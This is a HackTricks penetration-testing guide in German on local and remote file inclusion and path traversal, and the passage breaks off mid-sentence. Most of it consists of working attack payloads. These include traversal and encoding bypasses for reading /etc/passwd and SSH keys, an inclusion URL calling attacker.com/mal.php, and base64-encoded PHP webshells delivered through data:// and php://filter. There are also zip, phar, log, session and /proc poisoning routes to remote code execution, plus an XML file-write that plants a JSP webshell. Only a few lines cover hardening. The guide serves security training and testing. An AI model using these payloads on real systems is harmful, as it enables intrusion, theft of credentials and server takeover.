File Inclusion/Path traversal
Reading time: 29 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
File Inclusion
Remote File Inclusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Man kann den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.
Die Schwachstelle tritt auf, wenn der Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.
Anfällige PHP-Funktionen: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Durch Zusammenführung mehrerer *nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuche auch, /
durch \
zu ersetzen
Versuche auch, ../../../../../
hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich hier
Windows
Zusammenführung verschiedener Wordlists:
Versuche auch, /
durch \
zu ersetzen
Versuche außerdem, C:/
zu entfernen und ../../../../../
hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich hier
OS X
Siehe die LFI-Liste von linux.
Grundlegendes LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences nicht-rekursiv entfernt
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenkette (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dies ist seit PHP 5.4 behoben
Kodierung
Man kann nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Aus vorhandenem Ordner
Möglicherweise überprüft das back-end den Ordnerpfad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Erkundung von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:
- Verzeichnistiefe bestimmen: Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei
/etc/passwd
abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Nach Ordnern suchen: Hänge den Namen des vermuteten Ordners (z. B.
private
) an die URL an, und navigiere dann zurück zu/etc/passwd
. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der depth um eins:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ergebnisse interpretieren: Die Antwort des Servers zeigt an, ob der Ordner existiert:
- Fehler / Keine Ausgabe: Der Ordner
private
existiert wahrscheinlich nicht an dem angegebenen Ort. - Inhalt von
/etc/passwd
: Die Existenz des Ordnersprivate
ist bestätigt.
- Rekursive Erkundung: Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, entweder mit der gleichen Technik oder mit traditionellen Local File Inclusion (LFI)-Methoden.
Um Verzeichnisse an anderen Stellen im Dateisystem zu untersuchen, passe das payload entsprechend an. Zum Beispiel, um zu prüfen, ob /var/www/
ein Verzeichnis private
enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad so zu konstruieren, dass er nach der Änderung durch die Sicherheitsmaßnahme weiterhin auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Art des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, und/etc/passwd/
werden alle als derselbe Pfad behandelt.- Wenn die letzten 6 Zeichen
passwd
sind, verändert das Anhängen eines/
(alsopasswd/
) die Zieldatei nicht. - Ähnlich: wenn
.php
an einen Dateipfad angehängt wird (z. B.shellcode.php
), ändert das Hinzufügen von/.
am Ende nicht die aufgerufene Datei.
Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf /etc/passwd
zuzugreifen — ein häufiges Ziel wegen seines sensitiven Inhalts (Benutzerkontoinformationen):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In diesen Szenarien kann die Anzahl der benötigten Traversals ungefähr 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren. - Determining the Required Number of Traversals: Durch Versuch und Irrtum lässt sich die genaue Anzahl von
../
-Sequenzen finden, die nötig sind, um zum Root-Verzeichnis und dann zu/etc/passwd
zu gelangen. Dabei werden angehängte Strings (wie.php
) neutralisiert, während der gewünschte Pfad (/etc/passwd
) erhalten bleibt. - Starting with a Fake Directory: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie
a/
) zu beginnen. Diese Technik dient als Vorsichtsmaßnahme oder dazu, die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen.
Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Diese Schwachstelle wurde in PHP 5.3 behoben.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php ist dies standardmäßig deaktiviert, weil allow_url_include
auf Off steht. Es muss auf On gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Wenn aus irgendeinem Grund allow_url_include
An ist, PHP aber den Zugriff auf externe Webseiten filtert, laut diesem Beitrag, könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Im vorherigen Code wurde das abschließende +.txt
hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf .txt
endete; daher endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird inkludiert (und somit ausgeführt).
Ein weiteres Beispiel, das nicht das php://
Protokoll verwendet, wäre:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root element
In Python in einem Code wie diesem:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Wenn der Benutzer einen absoluten Pfad für file_name
angibt, wird der vorherige Pfad einfach entfernt:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Dies ist das beabsichtigte Verhalten laut the docs:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt.
Java listet Verzeichnisse auf
Es sieht so aus, dass wenn du eine Path Traversal in Java hast und du ein Verzeichnis anfragst statt einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Das passiert in anderen Sprachen nicht (soweit ich weiß).
Top 25 Parameter
Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) anfällig sein könnten (von link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI mit PHP-Wrappers & -Protokollen
php://filter
PHP filters ermöglichen grundlegende Modifikationsoperationen an den Daten, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Wandelt in eine andere Encoding um (convert.iconv.<input_enc>.<output_enc>
). Um die Liste aller unterstützten Encodings zu erhalten, führe in der Konsole aus:iconv -l
warning
Durch Missbrauch des convert.iconv.*
Conversion-Filters kannst du beliebigen Text erzeugen, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Komprimiert den Inhalt (nützlich, wenn viele Daten exfiltriert werden müssen)zlib.inflate
: Dekomprimiert die Daten- Encryption Filters
mcrypt.*
: veraltetmdecrypt.*
: veraltet- Other Filters
- Wenn du in PHP
var_dump(stream_get_filters());
ausführst, findest du ein paar unerwartete Filter: consumed
dechunk
: kehrt HTTP chunked encoding umconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Der Teil "php://filter" ist nicht case-sensitiv
Verwendung von php filters als oracle zum Lesen beliebiger Dateien
In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration der Datei (Zeichen für Zeichen) mithilfe von php filters als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme wirft.
Im ursprünglichen Beitrag findet sich eine ausführliche Erklärung der Technik, hier aber eine kurze Zusammenfassung:
- Verwende den Codec
UCS-4LE
, um das führende Zeichen des Texts an der Spitze zu belassen und die Größe des Strings exponentiell anwachsen zu lassen. - Das wird genutzt, um einen Text zu erzeugen, der so groß wird, wenn das Anfangszeichen korrekt erraten wurde, dass php einen Fehler auslöst.
- Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein hexadezimaler Wert ist, sodass wir erkennen können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen Verhalten (und anderen Filtern je nach erratenem Zeichen), erlaubt es uns, ein Zeichen am Anfang des Texts zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, sodass es kein hexadezimaler Wert mehr ist. Denn wenn es hex ist, entfernt dechunk es nicht und die anfängliche Explosion löst den PHP-Fehler aus.
- Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Damit lässt sich feststellen, ob das erste Zeichen z. B. ein
a
ist: wendet man diesen Codec sechsmal an (a->b->c->d->e->f->g), ist das Zeichen kein hexadezimaler Wert mehr, daher löscht dechunk es nicht und der PHP-Fehler wird aufgrund der anfänglichen Explosion ausgelöst. - Durch andere Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leak (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden und die ersten zwei Buchstaben müssen geleakt werden, um die Zahl zu leak.
- Das finale Problem ist zu sehen, wie man mehr als das Anfangszeichen leak't. Durch die Verwendung von Reihenfolge-Ändernden-Filtern wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Zeichen des Texts zu bringen.
- Und um weitere Daten erhalten zu können, ist die Idee, mit convert.iconv.UTF16.UTF16 zwei Junk-Bytes am Anfang zu generieren, anschließend UCS-4LE anzuwenden, damit diese sich mit den nächsten 2 Bytes pivotieren, und die Daten bis zu den Junk-Bytes zu löschen (das entfernt die ersten 2 Bytes des ursprünglichen Texts). Dieses Vorgehen wird wiederholt, bis man das gewünschte Byte zum leak erreicht.
Im Beitrag wurde außerdem ein Tool veröffentlicht, das dies automatisch ausführt: php_filters_chain_oracle_exploit.
php://fd
Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Du kannst auch php://stdin, php://stdout and php://stderr verwenden, um jeweils auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)
zip:// und rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.\
Um das rar-Protokoll missbrauchen zu können, muss es explizit aktiviert werden.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open
und allow_url_include
eingeschränkt ist
expect://
Expect muss aktiviert sein. Du kannst Code damit ausführen:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Geben Sie Ihre payload in den POST-Parametern an:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Eine .phar
-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include
zum Laden von Dateien nutzt. Der unten gezeigte PHP-Codeausschnitt demonstriert die Erstellung einer .phar
-Datei:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Um die .phar
-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
php --define phar.readonly=0 create_path.php
Bei Ausführung wird eine Datei namens test.phar
erstellt, die potentiell dazu benutzt werden kann, Local File Inclusion (LFI)-Schwachstellen auszunutzen.
Wenn das LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
oder filesize()
— kann versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das phar
-Protokoll zusammen.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Es war möglich, any arbitrary file read from PHP that supports php filters zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann found in this post.
Sehr kurze Zusammenfassung: ein 3 byte overflow im PHP-Heap wurde missbraucht, um alter the chain of free chunks einer bestimmten Größe zu verändern, sodass es möglich wurde, write anything in any address — daher wurde ein Hook hinzugefügt, der system
aufruft.
Es war möglich, Chunks bestimmter Größen zu allocieren, indem weitere php filters missbraucht wurden.
Weitere Protokolle
Siehe weitere mögliche protocols to include here:
- php://memory and php://temp — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie das in einem file inclusion Angriff nützlich sein kann)
- file:// — Zugriff auf das lokale Dateisystem
- http:// — Zugriff auf HTTP(s)-URLs
- ftp:// — Zugriff auf FTP(s)-URLs
- zlib:// — Kompressions-Streams
- glob:// — Findet Pfadnamen, die dem Muster entsprechen (Es gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- ssh2:// — Secure Shell 2
- ogg:// — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)
LFI via PHP's 'assert'
Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn die 'assert'-Funktion verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht korrekt bereinigt werden.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Obwohl dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
' and die(highlight_file('/etc/passwd')) or '
Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
' and die(system("id")) or '
Es ist wichtig, URL-encode these payloads.
PHP Blind Path Traversal
warning
Diese Technik ist relevant in Fällen, in denen Sie die control des file path einer PHP function haben, die auf eine Datei access a file wird, Sie aber den Inhalt der Datei nicht sehen (z. B. ein einfacher Aufruf von file()
), der Inhalt jedoch nicht angezeigt wird.
In this incredible post wird erklärt, wie ein blind path traversal über PHP filter ausgenutzt werden kann, um den Inhalt einer Datei via eines error oracle zu exfiltrieren.
Kurz gesagt, die Technik nutzt die "UCS-4LE" encoding, um den Inhalt einer Datei so groß zu machen, dass die PHP function opening der Datei einen error auslöst.
Um dann das erste Zeichen zu leak, wird der Filter dechunk
zusammen mit anderen wie base64 oder rot13 verwendet und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE eingesetzt, um andere Zeichen an den Anfang zu setzen und diese zu leak.
Funktionen, die möglicherweise verwundbar sind: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Für die technischen Details siehe den erwähnten Beitrag!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien entgegennimmt/uploadet, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) ohne Canonicalisierung und Validierung zusammensetzt, können ..
-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn Sie die Payload in ein web-exposed directory platzieren können, erhalten Sie normalerweise unauthenticated RCE, indem Sie eine webshell ablegen.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Hinweise:
- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird später Ihre payload ausliefern.
- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher
File
/Paths
-Konkatenation implementiert. Das Fehlen von canonicalisation/allow-listing ist der Kernfehler.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Härtungsmaßnahmen, die diese Klasse von Schwachstellen verhindern:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
- Alle Pfade ablehnen, die
..
, absolute roots oder drive letters enthalten; generierte Dateinamen bevorzugen. - Den Writer als low-privileged account ausführen und Schreibverzeichnisse von den served roots trennen.
Remote File Inclusion
Weiter oben erklärt, folgen Sie diesem Link.
Via Apache/Nginx log file
Wenn der Apache- oder Nginx-Server gegenüber LFI in der include-Funktion verwundbar ist, kannst du versuchen, auf /var/log/apache2/access.log
oder /var/log/nginx/access.log
zuzugreifen, im user agent oder in einem GET parameter eine php shell wie <?php system($_GET['c']); ?>
zu setzen und diese Datei zu includen
warning
Beachte, dass wenn du doppelte Anführungszeichen für die Shell statt einfache Anführungszeichen verwendest, die doppelten Anführungszeichen in den String "quote;" umgewandelt werden, PHP dort einen Fehler auslöst und nichts Weiteres ausgeführt wird.
Stelle außerdem sicher, dass du die Payload korrekt schreibst, sonst wird PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgeben und du wirst keine zweite Gelegenheit haben.
Das kann auch in anderen Logs gemacht werden, aber sei vorsichtig, der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Weitere mögliche Log-Pfade:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Per E-Mail
Sende eine E-Mail an ein internes Konto (user@localhost), die deinen PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?>
enthält, und versuche, die Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME>
oder /var/spool/mail/<USERNAME>
einzubinden.
Über /proc//fd/
- Lade viele shells hoch (zum Beispiel: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der File-Descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)
Über /proc/self/environ
Wie bei einer Logdatei: sende den Payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Wenn du eine Datei uploaden kannst, injecte einfach das shell payload in sie (z. B.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Um die Datei lesbar zu halten, ist es am besten, Inhalte in die Metadaten der Bilder/Dokumente/PDFs einzubetten.
Per Zip-Datei-Upload
Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und rufe sie auf:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Über PHP-Sessions
Überprüfe, ob die Website PHP-Sessions (PHPSESSID) verwendet
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP werden diese Sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Setze das Cookie auf <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Verwende das LFI, um die PHP-Session-Datei einzubinden.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Über ssh
Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf <HOME>/.ssh/id_rsa zuzugreifen
Über vsftpd logs
Die Logs des FTP-Servers vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
- Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs.
- Nach der Injektion nutze die LFI, um die Server-Logs von /var/log/vsftpd.log abzurufen.
Über php base64 filter (using base64)
Wie in diesem Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Über php filters (no file needed)
This writeup erklärt, dass du php filters to generate arbitrary content als Ausgabe verwenden kannst. Was im Wesentlichen bedeutet, dass du generate arbitrary php code für das include without needing to write in eine Datei erzeugen kannst.
Über segmentation fault
Upload eine Datei, die als temporary in /tmp
gespeichert wird, dann löse in der same request, einen segmentation fault aus, und die temporary file won't be deleted — du kannst sie danach durchsuchen.
LFI2RCE via Segmentation Fault
Über Nginx temp file storage
Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit der folgenden Technik RCE erreichen:
Über PHP_SESSION_UPLOAD_PROGRESS
Wenn du eine Local File Inclusion gefunden hast, selbst wenn du don't have a session und session.auto_start
auf Off
steht. Wenn du PHP_SESSION_UPLOAD_PROGRESS
